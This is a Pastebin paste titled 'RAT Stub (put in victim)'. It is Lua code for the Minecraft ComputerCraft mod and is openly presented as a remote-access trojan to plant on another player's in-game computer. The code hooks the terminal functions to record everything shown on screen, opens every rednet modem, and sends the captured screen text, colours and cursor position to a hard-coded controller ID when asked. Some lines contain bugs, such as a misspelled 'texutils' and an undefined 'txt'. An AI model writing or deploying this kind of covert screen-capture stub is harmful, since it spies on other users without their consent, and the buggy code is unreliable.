Advertisement
xXm0dzXx

RAT Stub (put in victim)

Nov 17th, 2012
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.05 KB | None | 0 0
  1. local serverID = 123
  2. currentColor = colors.white
  3. currentBGColor = colors.black
  4. isBlinking = false
  5. isRainbow = false
  6.  
  7. screenData = {
  8. ["clearColor"] = colors.black,
  9. }
  10.  
  11. function addScreenData( strr, xx, yy, bg, mc )
  12. screenData[ #screenData ] = {
  13. ["text"] = strr,
  14. ["x"] = xx,
  15. ["y"] = yy,
  16. ["bg"] = bg,
  17. ["cl"] = mc,
  18. }
  19. end
  20.  
  21. function reloadData()
  22. oldScreenData = screenData
  23. screenData = {
  24. ["clearColor"] = oldScreenData["clearColor"],
  25. }
  26.  
  27. for i=1,#oldScreenData-1 do
  28. screenData[#screenData] = oldScreenData[i]
  29. end
  30. end
  31.  
  32. --- Backup Functions ---
  33. oldBGColor = term.setBackgroundColour
  34. oldColor = term.setTextColour
  35. oldClear = term.clear
  36. oldWrite = term.write
  37. oldClrLine = term.clearLine
  38. oldBlink = term.setCursorBlink
  39. ------------------------
  40.  
  41. term.setCursorBlink = function( shouldi )
  42. isBlinking = shouldi
  43. return oldBlink( shouldi )
  44. end
  45.  
  46. term.clearLine = function()
  47. local x,y = term.getCursorPos()
  48. local shouldReload = false
  49.  
  50. for i=1,#screenData-1 do
  51. if screenData[i]["y"] == y then
  52. screenData[i] = nil
  53. shouldReload = true
  54. end
  55. end
  56.  
  57. if shouldReload then
  58. reloadData()
  59. end
  60.  
  61. return oldClrLine()
  62. end
  63.  
  64. term.clear = function()
  65. screenData = {
  66. ["clearColor"] = currentBGColor
  67. }
  68. return oldClear()
  69. end
  70.  
  71. term.setBackgroundColour = function( colz )
  72. currentBGColor = colz
  73. return oldBGColor( colz )
  74. end
  75.  
  76. term.setTextColour = function( colz )
  77. currentColor = colz
  78. return oldColor( colz )
  79. end
  80.  
  81. addText = function( text )
  82. local x,y = term.getCursorPos()
  83. addScreenData( text, x, y, currentBGColor, currentColor )
  84. return oldWrite( text )
  85. end
  86.  
  87. term.write = function( text )
  88. if isRainbow then
  89. for i=1,#text do
  90. str = string.sub( txt, i, i )
  91. term.setTextColor(2^math.random(1, 16)/2)
  92. addText(str)
  93. end
  94. else
  95. return addText( text )
  96. end
  97. end
  98.  
  99. ------Start Enviroments------
  100.  
  101. function runShell()
  102. term.clear()
  103. term.setCursorPos(1,1)
  104. shell.run("shell")
  105. os.shutdown()
  106. end
  107.  
  108. function waitForMessages()
  109. for i,v in pairs( rs.getSides() ) do
  110. rednet.open( v )
  111. end
  112.  
  113. while true do
  114. id, message = rednet.receive()
  115. if id == serverID then
  116. if message == "getColor" then
  117. rednet.send( serverID, textutils.serialize( currentColor ) )
  118. elseif message == "getBG" then
  119. rednet.send( serverID, textutils.serialize( currentBGColor ) )
  120. elseif message == "setRainbow" then
  121. if isRainbow then
  122. isRainbow = false
  123. else
  124. isRainbow = true
  125. end
  126. elseif message == "getText" then
  127. rednet.send( serverID, textutils.serialize( screenData ) )
  128. elseif message == "getBlink" then
  129. rednet.send( serverID, textutils.serialize( isBlinking ) )
  130. elseif message == "getX" then
  131. local xz,yz = term.getCursorPos()
  132. rednet.send( serverID, texutils.serialize( xz ) )
  133. elseif message == "getY" then
  134. local xz,yz = term.getCursorPos()
  135. rednet.send( serverID, texutils.serialize( yz ) )
  136. end
  137. end
  138. end
  139. end
  140.  
  141. parallel.waitForAny( waitForMessages, runShell )
  142.  
  143. ------Stop Enviroments-------
  144.  
  145. os.shutdown() --just in case
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement